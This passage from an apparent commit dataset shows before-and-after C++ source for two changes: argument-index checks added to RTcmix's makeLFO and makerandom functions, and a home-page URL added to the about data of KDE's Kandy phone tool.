-1.0;\n\t\tmtargs[4] = tabsize >> 1;\n\t\tmtargs[5] = -1.0;\n\t\tmtargs[6] = 0.0;\n\t\tmtargs[7] = 1.0;\n\t\tmtargs[8] = tabsize >> 1;\n\t\tmtargs[9] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"triangle\", 3) == 0) {\n\t\tnargs = 8;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = -1.0;\n\t\tmtargs[4] = tabsize >> 1;\n\t\tmtargs[5] = 1.0;\n\t\tmtargs[6] = tabsize >> 1;\n\t\tmtargs[7] = -1.0;\n\t}\n\telse {\n\t\tdie(\"makeLFO\", \"Waveform string can be \\\"sine\\\", \\\"sawup\\\", \\\"sawdown\\\", \"\n\t\t\t\t\t\t\"\\\"square\\\" or \\\"triangle\\\"; or pass a table handle.\");\n\t\tdelete [] mtargs;\n\t\treturn NULL;\n\t}\n\n\tHandle handle = maketable(mtargs, nargs);\n\tdelete [] mtargs;\n\n\treturn (TablePField *) handle->ptr;\n}\n\n\n\/\/ =============================================================================\n\/\/ The remaining functions are public, callable from scripts.\n\nextern \"C\" {\n\tHandle makeLFO(const Arg args[], const int nargs);\n\tHandle makerandom(const Arg args[], const int nargs);\n}\n\ntypedef enum {\n\tkTruncate,\n\tkInterp1stOrder\n} InterpType;\n\n\n\/\/ ----------------------------------------------------------------- makeLFO ---\nstatic Handle\n_makeLFO_usage()\n{\n\tdie(\"makeLFO\",\n\t\t\"\\n   usage: lfo = makeLFO(wave, [interp,] freq, amp)\"\n\t\t\"\\nOR\"\n\t\t\"\\n   usage: lfo = makeLFO(wave, [interp,] freq, min, max)\\n\");\n\treturn NULL;\n}\n\nHandle\nmakeLFO(const Arg args[], const int nargs)\n{\n\tif (nargs < 3)\n\t\treturn _makeLFO_usage();\n\n\tTablePField *wavetablePF = (TablePField *) ((PField *) args[0]);\n\tif (wavetablePF == NULL || wavetablePF->values() < 2) {\t\/\/ not a TablePField\n\t\tif (args[0].isType(StringType)) {\n\t\t\twavetablePF = _makewavetable(args[0]);\n\t\t\tif (wavetablePF == NULL)\n\t\t\t\treturn NULL;\n\t\t}\n\t\telse\n\t\t\treturn _makeLFO_usage();\n\t}\n\tdouble *wavetable = (double *) *wavetablePF;\n\tint len = wavetablePF->values();\n\n\tInterpType interp = kInterp1stOrder;\n\tint index = 1;\n\tif (args[index].isType(StringType)) {\n\t\tif (args[index] == \"nointerp\")\n\t\t\tinterp = kTruncate;\n\t\telse if (args[index] == \"interp\")\n\t\t\tinterp = kInterp1stOrder;\n\t\telse {\n\t\t\tdie(\"makeLFO\", \"Invalid string option \\\"%s\\\".\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t(const char *) args[index]);\n\t\t\treturn NULL;\n\t\t}\n\t\tindex++;\n\t}\n\n\tPField *freqpf = (PField *) args[index];\n\tif (freqpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tfreqpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makeLFO_usage();\n\t}\n\tindex++;\n\n\tPField *amppf = NULL;\n\tPField *minpf = NULL;\n\tPField *maxpf = NULL;\n\tif (nargs - index > 1) {\t\t\/\/ min, max instead of amp\n\t\tminpf = (PField *) args[index];\n\t\tif (minpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tminpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t\tindex++;\n\t\tmaxpf = (PField *) args[index];\n\t\tif (maxpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tmaxpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t}\n\telse {\n\t\tamppf = (PField *) args[index];\n\t\tif (amppf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tamppf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t}\n\n\tPField *lfo;\n\tif (interp == kInterp1stOrder)\n\t\tlfo = new LFOPField(resetval, wavetable, len, freqpf);\n\telse \/\/ (interp == kTruncate)\n\t\tlfo = new LFOPField(resetval, wavetable, len, freqpf, LFOPField::Truncate);\n\n\tif (amppf != NULL)\n\t\tlfo = new MultPField(lfo, amppf);\n\telse\n\t\tlfo = new RangePField(lfo, minpf, maxpf);\n\n\treturn _createPFieldHandle(lfo);\n}\n\n\n\/\/ -------------------------------------------------------------- makerandom ---\n#include <Random.h>\n#include <sys\/time.h>\n\nstatic Handle\n_makerandom_usage()\n{\n\tdie(\"makerandom\",\n\t\t\"\\n   usage: rand = makerandom(type, [interp,] freq, seed, min, max)\"\n\t\t\"\\n\");\n\treturn NULL;\n}\n\nHandle\nmakerandom(const Arg args[], const int nargs)\n{\n\tint type;\n\tif (args[0].isType(StringType)) {\n\t\tif (args[0] == \"even\" || args[0] == \"linear\")\n\t\t\ttype = kLinearRandom;\n\t\telse if (args[0] == \"low\")\n\t\t\ttype = kLowLinearRandom;\n\t\telse if (args[0] == \"high\")\n\t\t\ttype = kHighLinearRandom;\n\t\telse if (args[0] == \"triangle\")\n\t\t\ttype = kTriangleRandom;\n\t\telse if (args[0] == \"gaussian\")\n\t\t\ttype = kGaussianRandom;\n\t\telse if (args[0] == \"cauchy\")\n\t\t\ttype = kCauchyRandom;\n\t\telse if (args[0] == \"prob\")\n\t\t\ttype = kProbRandom;\n\t\telse {\n\t\t\tdie(\"makerandom\", \"Unsupported distribution type \\\"%s\\\".\",\n\t\t\t\t\t\t  (const char *) args[0]);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\telse\n\t\treturn _makerandom_usage();\n\n\tInterpType interp = kInterp1stOrder;\n\tint index = 1;\n\tif (args[index].isType(StringType)) {\n\t\tif (args[index] == \"nointerp\")\n\t\t\tinterp = kTruncate;\n\t\telse if (args[index] == \"interp\")\n\t\t\tinterp = kInterp1stOrder;\n\t\telse {\n\t\t\tdie(\"makerandom\", \"Invalid string option \\\"%s\\\".\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t(const char *) args[index]);\n\t\t\treturn NULL;\n\t\t}\n\t\tindex++;\n\t}\n\n\tPField *freqpf = (PField *) args[index];\n\tif (freqpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tfreqpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makeLFO_usage();\n\t}\n\tindex++;\n\n\tint seed;\n\tif ((int) args[index] == 0) {\n\t\tstruct timeval tv;\n\t\tgettimeofday(&tv, NULL);\n\t\tseed = (int) tv.tv_usec;\n\t}\n\telse\n\t\tseed = (int) args[index];\n\tindex++;\n\n\tPField *minpf = (PField *) args[index];\n\tif (minpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tminpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makerandom_usage();\n\t}\n\tdouble min = minpf->doubleValue(0);\n\tindex++;\n\n\tPField *midpf = NULL;\n\tif (type == kProbRandom) {\n\t\tmidpf = (PField *) args[index];\n\t\tif (midpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tmidpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makerandom_usage();\n\t\t}\n\t\tindex++;\n\t}\n\tdouble mid = midpf ? midpf->doubleValue(0) : 0.0;\n\n\tPField *maxpf = (PField *) args[index];\n\tif (maxpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tmaxpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makerandom_usage();\n\t}\n\tdouble max = maxpf->doubleValue(0);\n\tindex++;\n\n\tPField *tightpf = NULL;\n\tif (type == kProbRandom) {\n\t\ttightpf = (PField *) args[index];\n\t\tif (tightpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\ttightpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makerandom_usage();\n\t\t}\n\t\tindex++;\n\t}\n\tdouble tight = tightpf ? tightpf->doubleValue(0) : 0.0;\n\n\t\/\/ check initial values\n\tif (min > max) {\n\t\tdie(\"makerandom\", \"<min> must be less than or equal to <max>.\");\n\t\treturn NULL;\n\t}\n\tif (tight < 0.0) {\n\t\tdie(\"makerandom\", \"<tight> must be zero or greater.\");\n\t\treturn NULL;\n\t}\n\n\tRandom *gen;\n\tswitch (type) {\n\t\tcase kLinearRandom:\n\t\t\tgen = new LinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kLowLinearRandom:\n\t\t\tgen = new LowLinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kHighLinearRandom:\n\t\t\tgen = new HighLinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kTriangleRandom:\n\t\t\tgen = new TriangleRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kGaussianRandom:\n\t\t\tgen = new GaussianRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kCauchyRandom:\n\t\t\tgen = new CauchyRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kProbRandom:\n\t\t\tgen = new ProbRandom(seed, min, mid, max, tight);\n\t\t\tbreak;\n\t\tdefault:\t\t\/\/ can't get here if type inited correctly above\n\t\t\tbreak;\n\t}\n\n#ifdef NOTYET\n\tPField *rand = new RandomPField(resetval, type, gen, freqpf, minpf, midpf,\n\t\t\t\t\t\t\t\t\tmaxpf, tightpf, (interp == kInterp1stOrder));\n\n\treturn _createPFieldHandle(rand);\n#else\n   return NULL;\n#endif\n}\n\n<commit_msg>Arg order and comment changes; arg index checks.<commit_after>\/* RTcmix  - Copyright (C) 2004  The RTcmix Development Team\n   See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n   the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <rtcmix_types.h>\n#include <PField.h>\n#include <ugens.h>\t\t\/\/ for warn, die\n\n\/\/ Functions for creating LFO PFields.    -John Gibson, 11\/20\/04\n\nextern int resetval;\t\t\/\/ declared in src\/rtcmix\/minc_functions.c\n\nextern \"C\" {\nHandle maketable(const Arg args[], const int nargs); \/\/ defined in table.cpp\n}\n\n\n\/\/ --------------------------------------------------------- local utilities ---\nstatic Handle\n_createPFieldHandle(PField *pfield)\n{\n\tHandle handle = (Handle) malloc(sizeof(struct _handle));\n\thandle->type = PFieldType;\n\thandle->ptr = (void *) pfield;\n\treturn handle;\n}\n\n\/\/ Create an appropriate TablePField from a string description.\n\/\/ We use ideal waveforms instead of building them up from harmonics.\n\/\/ For square waves, this avoids the ripple that we'd get otherwise.\n\nstatic TablePField *\n_makewavetable(const char *wavetype)\n{\n\tint nargs;\n\tArg *mtargs;\n\tconst int tabsize = 1000;\n\n\tif (strncmp(wavetype, \"sine\", 3) == 0) {\n\t\tnargs = 3;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"wave\";\n\t\tmtargs[1] = tabsize;\n\t\tmtargs[2] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"sawup\", 4) == 0) {\n\t\tnargs = 6;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = -1.0;\n\t\tmtargs[4] = tabsize;\n\t\tmtargs[5] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"sawdown\", 3) == 0) {\n\t\tnargs = 6;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = 1.0;\n\t\tmtargs[4] = tabsize;\n\t\tmtargs[5] = -1.0;\n\t}\n\telse if (strncmp(wavetype, \"square\", 3) == 0) {\n\t\tnargs = 10;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = -1.0;\n\t\tmtargs[4] = tabsize >> 1;\n\t\tmtargs[5] = -1.0;\n\t\tmtargs[6] = 0.0;\n\t\tmtargs[7] = 1.0;\n\t\tmtargs[8] = tabsize >> 1;\n\t\tmtargs[9] = 1.0;\n\t}\n\telse if (strncmp(wavetype, \"triangle\", 3) == 0) {\n\t\tnargs = 8;\n\t\tmtargs = new Arg[nargs];\n\t\tmtargs[0] = \"linebrk\";\n\t\tmtargs[1] = \"nonorm\";\n\t\tmtargs[2] = tabsize;\n\t\tmtargs[3] = -1.0;\n\t\tmtargs[4] = tabsize >> 1;\n\t\tmtargs[5] = 1.0;\n\t\tmtargs[6] = tabsize >> 1;\n\t\tmtargs[7] = -1.0;\n\t}\n\telse {\n\t\tdie(\"makeLFO\", \"Waveform string can be \\\"sine\\\", \\\"sawup\\\", \\\"sawdown\\\", \"\n\t\t\t\t\t\t\"\\\"square\\\" or \\\"triangle\\\"; or pass a table handle.\");\n\t\tdelete [] mtargs;\n\t\treturn NULL;\n\t}\n\n\tHandle handle = maketable(mtargs, nargs);\n\tdelete [] mtargs;\n\n\treturn (TablePField *) handle->ptr;\n}\n\n\n\/\/ =============================================================================\n\/\/ The remaining functions are public, callable from scripts.\n\nextern \"C\" {\n\tHandle makeLFO(const Arg args[], const int nargs);\n\tHandle makerandom(const Arg args[], const int nargs);\n}\n\ntypedef enum {\n\tkTruncate,\n\tkInterp1stOrder\n} InterpType;\n\n\n\/\/ ----------------------------------------------------------------- makeLFO ---\nstatic Handle\n_makeLFO_usage()\n{\n\tdie(\"makeLFO\",\n\t\t\"\\n   usage: lfo = makeLFO(wave, [interp,] freq, amp)\"\n\t\t\"\\nOR\"\n\t\t\"\\n   usage: lfo = makeLFO(wave, [interp,] freq, min, max)\\n\");\n\treturn NULL;\n}\n\nHandle\nmakeLFO(const Arg args[], const int nargs)\n{\n\tif (nargs < 3)\n\t\treturn _makeLFO_usage();\n\n\tTablePField *wavetablePF = (TablePField *) ((PField *) args[0]);\n\tif (wavetablePF == NULL || wavetablePF->values() < 2) {\t\/\/ not a TablePField\n\t\tif (args[0].isType(StringType)) {\n\t\t\twavetablePF = _makewavetable(args[0]);\n\t\t\tif (wavetablePF == NULL)\n\t\t\t\treturn NULL;\n\t\t}\n\t\telse\n\t\t\treturn _makeLFO_usage();\n\t}\n\tdouble *wavetable = (double *) *wavetablePF;\n\tint len = wavetablePF->values();\n\n\tInterpType interp = kInterp1stOrder;\n\tint index = 1;\n\tif (args[index].isType(StringType)) {\n\t\tif (args[index] == \"nointerp\")\n\t\t\tinterp = kTruncate;\n\t\telse if (args[index] == \"interp\")\n\t\t\tinterp = kInterp1stOrder;\n\t\telse {\n\t\t\tdie(\"makeLFO\", \"Invalid string option \\\"%s\\\".\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t(const char *) args[index]);\n\t\t\treturn NULL;\n\t\t}\n\t\tindex++;\n\t}\n\n\tPField *freqpf = (PField *) args[index];\n\tif (freqpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tfreqpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makeLFO_usage();\n\t}\n\tindex++;\n\tif (index >= nargs)\n\t\treturn _makeLFO_usage();\n\n\tPField *amppf = NULL;\n\tPField *minpf = NULL;\n\tPField *maxpf = NULL;\n\tif (nargs - index > 1) {\t\t\/\/ min, max instead of amp\n\t\tminpf = (PField *) args[index];\n\t\tif (minpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tminpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t\tindex++;\n\t\tif (index >= nargs)\n\t\t\treturn _makeLFO_usage();\n\t\tmaxpf = (PField *) args[index];\n\t\tif (maxpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tmaxpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t}\n\telse {\n\t\tamppf = (PField *) args[index];\n\t\tif (amppf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tamppf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makeLFO_usage();\n\t\t}\n\t}\n\n\tPField *lfo;\n\tif (interp == kInterp1stOrder)\n\t\tlfo = new LFOPField(resetval, wavetable, len, freqpf);\n\telse \/\/ (interp == kTruncate)\n\t\tlfo = new LFOPField(resetval, wavetable, len, freqpf, LFOPField::Truncate);\n\n\tif (amppf != NULL)\n\t\tlfo = new MultPField(lfo, amppf);\n\telse\n\t\tlfo = new RangePField(lfo, minpf, maxpf);\n\n\treturn _createPFieldHandle(lfo);\n}\n\n\n\/\/ -------------------------------------------------------------- makerandom ---\n#include <Random.h>\n#include <sys\/time.h>\n\nstatic Handle\n_makerandom_usage()\n{\n\tdie(\"makerandom\",\n\t\t\"\\n   usage: rand = makerandom(type, [interp,] freq, min, max[, seed])\"\n\t\t\"\\n          where <type> is \\\"linear\\\", \\\"low\\\", \\\"high\\\", \"\n\t\t\t\t\t\t\"\\\"triangle\\\", \\\"gaussian\\\", \\\"cauchy\\\"\"\n\t\t\"\\nOR\"\n\t\t\"\\n   usage: rand = makerandom(\\\"prob\\\", [interp,] freq, min, max, mid, \"\n\t\t\t\t\t\t\"tight[, seed])\"\n\t\t\"\\n\");\n\treturn NULL;\n}\n\nHandle\nmakerandom(const Arg args[], const int nargs)\n{\n\tif (nargs < 4)\n\t\treturn _makerandom_usage();\n\n\tint type;\n\tif (args[0].isType(StringType)) {\n\t\tif (args[0] == \"even\" || args[0] == \"linear\")\n\t\t\ttype = kLinearRandom;\n\t\telse if (args[0] == \"low\")\n\t\t\ttype = kLowLinearRandom;\n\t\telse if (args[0] == \"high\")\n\t\t\ttype = kHighLinearRandom;\n\t\telse if (args[0] == \"triangle\")\n\t\t\ttype = kTriangleRandom;\n\t\telse if (args[0] == \"gaussian\")\n\t\t\ttype = kGaussianRandom;\n\t\telse if (args[0] == \"cauchy\")\n\t\t\ttype = kCauchyRandom;\n\t\telse if (args[0] == \"prob\")\n\t\t\ttype = kProbRandom;\n\t\telse {\n\t\t\tdie(\"makerandom\", \"Unsupported distribution type \\\"%s\\\".\",\n\t\t\t\t\t\t  (const char *) args[0]);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\telse\n\t\treturn _makerandom_usage();\n\n\tInterpType interp = kInterp1stOrder;\n\tint index = 1;\n\tif (args[index].isType(StringType)) {\n\t\tif (args[index] == \"nointerp\")\n\t\t\tinterp = kTruncate;\n\t\telse if (args[index] == \"interp\")\n\t\t\tinterp = kInterp1stOrder;\n\t\telse {\n\t\t\tdie(\"makerandom\", \"Invalid string option \\\"%s\\\".\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t(const char *) args[index]);\n\t\t\treturn NULL;\n\t\t}\n\t\tindex++;\n\t}\n\n\tPField *freqpf = (PField *) args[index];\n\tif (freqpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tfreqpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makerandom_usage();\n\t}\n\tindex++;\n\n\tPField *minpf = (PField *) args[index];\n\tif (minpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tminpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makerandom_usage();\n\t}\n\tdouble min = minpf->doubleValue(0);\n\tindex++;\n\tif (index >= nargs)\n\t\treturn _makerandom_usage();\n\n\tPField *maxpf = (PField *) args[index];\n\tif (maxpf == NULL) {\n\t\tif (args[index].isType(DoubleType))\n\t\t\tmaxpf = new ConstPField((double) args[index]);\n\t\telse\n\t\t\treturn _makerandom_usage();\n\t}\n\tdouble max = maxpf->doubleValue(0);\n\tindex++;\n\n\tPField *midpf = NULL;\n\tif (type == kProbRandom) {\n\t\tif (index >= nargs)\n\t\t\treturn _makerandom_usage();\n\t\tmidpf = (PField *) args[index];\n\t\tif (midpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\tmidpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makerandom_usage();\n\t\t}\n\t\tindex++;\n\t\tif (index >= nargs)\n\t\t\treturn _makerandom_usage();\n\t}\n\tdouble mid = midpf ? midpf->doubleValue(0) : 0.0;\n\n\tPField *tightpf = NULL;\n\tif (type == kProbRandom) {\n\t\ttightpf = (PField *) args[index];\n\t\tif (tightpf == NULL) {\n\t\t\tif (args[index].isType(DoubleType))\n\t\t\t\ttightpf = new ConstPField((double) args[index]);\n\t\t\telse\n\t\t\t\treturn _makerandom_usage();\n\t\t}\n\t\tindex++;\n\t}\n\tdouble tight = tightpf ? tightpf->doubleValue(0) : 0.0;\n\n\tint seed = 0;\n\tif (nargs - index > 1)\t\t\/\/ explicit seed\n\t\tseed = (int) args[index];\n\tif (seed == 0) {\n\t\tstruct timeval tv;\n\t\tgettimeofday(&tv, NULL);\n\t\tseed = (int) tv.tv_usec;\n\t}\n\n\t\/\/ check initial values\n\tif (min > max) {\n\t\tdie(\"makerandom\", \"<min> must be less than or equal to <max>.\");\n\t\treturn NULL;\n\t}\n\tif (tight < 0.0) {\n\t\tdie(\"makerandom\", \"<tight> must be zero or greater.\");\n\t\treturn NULL;\n\t}\n\n\tRandom *gen;\n\tswitch (type) {\n\t\tcase kLinearRandom:\n\t\t\tgen = new LinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kLowLinearRandom:\n\t\t\tgen = new LowLinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kHighLinearRandom:\n\t\t\tgen = new HighLinearRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kTriangleRandom:\n\t\t\tgen = new TriangleRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kGaussianRandom:\n\t\t\tgen = new GaussianRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kCauchyRandom:\n\t\t\tgen = new CauchyRandom(seed, min, max);\n\t\t\tbreak;\n\t\tcase kProbRandom:\n\t\t\tgen = new ProbRandom(seed, min, mid, max, tight);\n\t\t\tbreak;\n\t\tdefault:\t\t\/\/ can't get here if type inited correctly above\n\t\t\tbreak;\n\t}\n\n#ifdef NOTYET\n\tPField *rand = new RandomPField(resetval, type, gen, freqpf, minpf, midpf,\n\t\t\t\t\t\t\t\t\tmaxpf, tightpf, (interp == kInterp1stOrder));\n\n\treturn _createPFieldHandle(rand);\n#else\n   return NULL;\n#endif\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <qfile.h>\n\n#include <kapp.h>\n#include <dcopclient.h>\n#include <kaboutdata.h>\n#include <kcmdlineargs.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kmessagebox.h>\n\n#include \"modem.h\"\n#include \"kandy.h\"\n#include \"mobilemain.h\"\n#include \"commandscheduler.h\"\n#include \"kandyprefs.h\"\n\nstatic const char *description =\n    I18N_NOOP(\"Communicating with your mobile phone.\");\n\nstatic const char *version = \"0.2\";\n\nstatic KCmdLineOptions options[] = \n{\n   { \"terminal\", I18N_NOOP(\"Show terminal window.\"), 0 },\n   { \"mobilegui\", I18N_NOOP(\"Show mobile GUI.\"), 0 },\n   { \"nogui\", I18N_NOOP(\"Don't show GUI.\"), 0 },\n   { \"+[profile]\", I18N_NOOP(\"Filename of command profile file.\"), 0 },\n   { 0, 0, 0 } \/\/ End of options.\n};\n\nvoid initModem(Modem *modem)\n{\n  kdDebug() << \"Opening serial Device: \"\n            << KandyPrefs::instance()->mSerialDevice\n            << endl;\n\n  modem->setDevice(KandyPrefs::instance()->mSerialDevice);\n  modem->setSpeed(19200);\n  modem->setData(8);\n  modem->setParity('N');\n  modem->setStop(1);\n\n#if 0\n  if (!modem->dsrOn()) {\n    KMessageBox::sorry(this, i18n(\"Modem is off.\"), i18n(\"Modem Error\"));\n    modem->close();\n    return;\n  }\n  if (!modem->ctsOn()) {\n    KMessageBox::sorry(this, i18n(\"Modem is busy.\"), i18n(\"Modem Error\"));\n    modem->close();\n    return;\n  }\n#endif\n\n#if 0\n  modem->writeLine(\"\");\n  usleep(250000);\n  modem->flush();\n  modem->writeLine(\"ATZ\");\n#endif\n}\n\nint main(int argc, char **argv)\n{\n  KAboutData about(\"kandy\", I18N_NOOP(\"Kandy\"), version, description,\n  KAboutData::License_GPL, \"(C) 2001 Cornelius Schumacher\");\n  about.addAuthor( \"Cornelius Schumacher\", 0, \"schumacher@kde.org\" );\n  KCmdLineArgs::init(argc,argv,&about);\n  KCmdLineArgs::addCmdLineOptions(options);\n\n  KApplication app;\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  \/\/ register ourselves as a dcop client\n  app.dcopClient()->registerAs(app.name(),false);\n\n  Modem *modem = new Modem;\n  initModem(modem);\n  CommandScheduler *scheduler = new CommandScheduler(modem);\n  \n  \/\/ see if we are starting with session management\n  if (app.isRestored()) {\n    \/\/ TODO: do session management\n\/\/      RESTORE(Kandy)\n  } else\n  {\n    \/\/ no session.. just start up normally\n    Kandy *k = new Kandy(scheduler);\n    \n    MobileMain *m = new MobileMain(scheduler);\n    if (!args->isSet(\"gui\")) {\n    } else {\n      if (KandyPrefs::instance()->mStartupTerminalWin ||\n          args->isSet(\"terminal\")) {\n        k->show();\n      }\n      if (KandyPrefs::instance()->mStartupMobileWin ||\n          args->isSet(\"mobilegui\")) {\n        m->show();\n      }\n    }\n    \n    if (args->count() == 1) {\n      k->load(QFile::decodeName(args->arg(0)));\n    } else if (args->count() > 1) {\n      args->usage();\n    }\n \n    args->clear();\n \n    QObject::connect(k,SIGNAL(showMobileWin()),m,SLOT(show()));\n    QObject::connect(m,SIGNAL(showTerminalWin()),k,SLOT(show()));\n    QObject::connect(m,SIGNAL(showPreferencesWin()),\n                     k,SLOT(optionsPreferences()));\n    QObject::connect(m,SIGNAL(modemConnect()),k,SLOT(modemConnect()));\n    QObject::connect(m,SIGNAL(modemDisconnect()),k,SLOT(modemDisconnect()));\n    QObject::connect(k,SIGNAL(connectStateChanged(bool)),\n                     m,SLOT(setConnected(bool)));\n\n    if (KandyPrefs::instance()->mStartupModem) k->modemConnect();\n  }\n\n  return app.exec();\n}\n<commit_msg>Adding home page to about data.<commit_after>#include <qfile.h>\n\n#include <kapp.h>\n#include <dcopclient.h>\n#include <kaboutdata.h>\n#include <kcmdlineargs.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kmessagebox.h>\n\n#include \"modem.h\"\n#include \"kandy.h\"\n#include \"mobilemain.h\"\n#include \"commandscheduler.h\"\n#include \"kandyprefs.h\"\n\nstatic const char *description =\n    I18N_NOOP(\"Communicating with your mobile phone.\");\n\nstatic const char *version = \"0.2\";\n\nstatic KCmdLineOptions options[] = \n{\n   { \"terminal\", I18N_NOOP(\"Show terminal window.\"), 0 },\n   { \"mobilegui\", I18N_NOOP(\"Show mobile GUI.\"), 0 },\n   { \"nogui\", I18N_NOOP(\"Don't show GUI.\"), 0 },\n   { \"+[profile]\", I18N_NOOP(\"Filename of command profile file.\"), 0 },\n   { 0, 0, 0 } \/\/ End of options.\n};\n\nvoid initModem(Modem *modem)\n{\n  kdDebug() << \"Opening serial Device: \"\n            << KandyPrefs::instance()->mSerialDevice\n            << endl;\n\n  modem->setDevice(KandyPrefs::instance()->mSerialDevice);\n  modem->setSpeed(19200);\n  modem->setData(8);\n  modem->setParity('N');\n  modem->setStop(1);\n\n#if 0\n  if (!modem->dsrOn()) {\n    KMessageBox::sorry(this, i18n(\"Modem is off.\"), i18n(\"Modem Error\"));\n    modem->close();\n    return;\n  }\n  if (!modem->ctsOn()) {\n    KMessageBox::sorry(this, i18n(\"Modem is busy.\"), i18n(\"Modem Error\"));\n    modem->close();\n    return;\n  }\n#endif\n\n#if 0\n  modem->writeLine(\"\");\n  usleep(250000);\n  modem->flush();\n  modem->writeLine(\"ATZ\");\n#endif\n}\n\nint main(int argc, char **argv)\n{\n  KAboutData about(\"kandy\", I18N_NOOP(\"Kandy\"), version, description,\n                   KAboutData::License_GPL, \"(C) 2001 Cornelius Schumacher\",0,\n                   \"http:\/\/devel-home.kde.org\/~kandy\");\n  about.addAuthor( \"Cornelius Schumacher\", 0, \"schumacher@kde.org\" );\n  KCmdLineArgs::init(argc,argv,&about);\n  KCmdLineArgs::addCmdLineOptions(options);\n\n  KApplication app;\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  \/\/ register ourselves as a dcop client\n  app.dcopClient()->registerAs(app.name(),false);\n\n  Modem *modem = new Modem;\n  initModem(modem);\n  CommandScheduler *scheduler = new CommandScheduler(modem);\n  \n  \/\/ see if we are starting with session management\n  if (app.isRestored()) {\n    \/\/ TODO: do session management\n\/\/      RESTORE(Kandy)\n  } else\n  {\n    \/\/ no session.. just start up normally\n    Kandy *k = new Kandy(scheduler);\n    \n    MobileMain *m = new MobileMain(scheduler);\n    if (!args->isSet(\"gui\")) {\n    } else {\n      if (KandyPrefs::instance()->mStartupTerminalWin ||\n          args->isSet(\"terminal\")) {\n        k->show();\n      }\n      if (KandyPrefs::instance()->mStartupMobileWin ||\n          args->isSet(\"mobilegui\")) {\n        m->show();\n      }\n    }\n    \n    if (args->count() == 1) {\n      k->load(QFile::decodeName(args->arg(0)));\n    } else if (args->count() > 1) {\n      args->usage();\n    }\n \n    args->clear();\n \n    QObject::connect(k,SIGNAL(showMobileWin()),m,SLOT(show()));\n    